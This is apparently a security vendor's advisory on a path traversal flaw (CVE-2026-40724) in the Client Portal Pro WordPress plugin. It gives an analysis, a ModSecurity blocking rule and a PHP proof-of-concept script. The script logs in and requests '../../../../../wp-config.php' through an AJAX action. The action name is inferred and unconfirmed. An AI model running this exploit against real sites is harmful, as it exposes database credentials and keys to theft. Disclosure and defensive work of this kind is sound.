Atomic Edge analysis of CVE-2026-40724 (metadata-based): This vulnerability is an authenticated directory traversal in the Client Portal Pro WordPress plugin, affecting versions up to and including 5.6.2. Authenticated attackers with Custom-level access or higher can read arbitrary files from the server, leading to information disclosure. The CVSS score is 6.5 (Medium), with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, indicating high confidentiality impact.
The root cause is an improper limitation of a pathname to a restricted directory, classified under CWE-22 (Path Traversal). Based on Atomic Edge analysis, the likely vulnerable code involves a file download function that accepts a user-supplied path parameter, such as a filename or directory identifier. The plugin likely fails to properly sanitize or validate this parameter, allowing path traversal sequences like “../” to escape the intended directory. This is a common pattern in WordPress plugins that handle file downloads via AJAX handlers or shortcodes. Without access to the source code, Atomic Edge research infers this from the CWE classification and description; the precise endpoint remains unconfirmed.
The exploitation attack vector targets an authenticated AJAX handler, likely with an action prefix related to the plugin slug “leco-client-portal”. Atomic Edge analysis suggests the endpoint is /wp-admin/admin-ajax.php with an action parameter like action=leco_client_portal_download_file. The attacker must authenticate as a user with at least Custom-level access (typically a role created by the plugin). They then send a POST request with the action and a file parameter containing path traversal characters, such as ../../../../../wp-config.php. The plugin processes this request and serves the requested file content without proper directory restriction.
Remediation for this vulnerability, as Atomic Edge research infers, requires implementing strict path validation in the file download handler. The plugin must enforce that file paths resolve within an allowed base directory. It should use realpath() or similar functions to canonicalize paths and then check if the result starts with the expected directory. Input should be sanitized to remove path traversal sequences, and the download functionality must verify that the user has permission to access the specific file. The patch in version 5.6.3 likely adds such validation.
The impact of successful exploitation is significant. An attacker can read arbitrary files on the server, including wp-config.php, which contains database credentials, authentication keys, and salts. They could also read other plugins’ configuration files, PHP source code, and potentially files outside the web root. This information disclosure can lead to a complete compromise of the WordPress site and potentially the underlying server. The attacker cannot directly elevate privileges or execute code through this vulnerability, but the exposed credentials could enable further attacks.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-40724 (metadata-based)
# Blocks directory traversal attempts targeting the Client Portal AJAX download handler
# This rule prevents exploitation by matching the vulnerable AJAX action and path traversal patterns
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-40724 - Client Portal Path Traversal via AJAX',severity:'CRITICAL',tag:'CVE-2026-40724',tag:'wordpress',tag:'plugin-leco-client-portal'"
SecRule ARGS_POST:action "@rx ^leco_client_portal_download_file$|^leco_client_portal_download$"
"chain"
SecRule ARGS_POST:file|ARGS_GET:file|ARGS:file "@rx ../|/..|..|..%2f|..%5c"
"t:lowercase,t:urlDecode"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-40724 - Client Portal (Pro) <= 5.6.2 - Authenticated (CP Client+) Arbitrary File Download
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$username = 'attackuser'; // Valid username with Custom-level access or higher
$password = 'password'; // Password for the above user
// Initialize cURL session
$ch = curl_init();
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'testcookie' => 1
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_error($ch)) {
die('Authentication request failed: ' . curl_error($ch) . "n");
}
// Step 2: Craft the exploit request
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The action parameter is inferred from the plugin slug 'leco-client-portal'
// Common patterns: 'leco_client_portal_download_file', 'leco_client_portal_download', etc.
// Adjust the action name if needed based on actual plugin behavior
$exploit_action = 'leco_client_portal_download_file';
// Payload: path traversal to read wp-config.php
$payload_path = '../../../../../wp-config.php';
$exploit_data = array(
'action' => $exploit_action,
'file' => $payload_path
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
if (curl_error($ch)) {
die('Exploit request failed: ' . curl_error($ch) . "n");
}
// Step 3: Output the response
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Status: $http_coden";
if ($http_code == 200) {
echo "Exploit successful. Response contains file contents:n";
echo $response;
} else {
echo "Exploit failed or blocked. Response:n";
echo $response;
}
curl_close($ch);
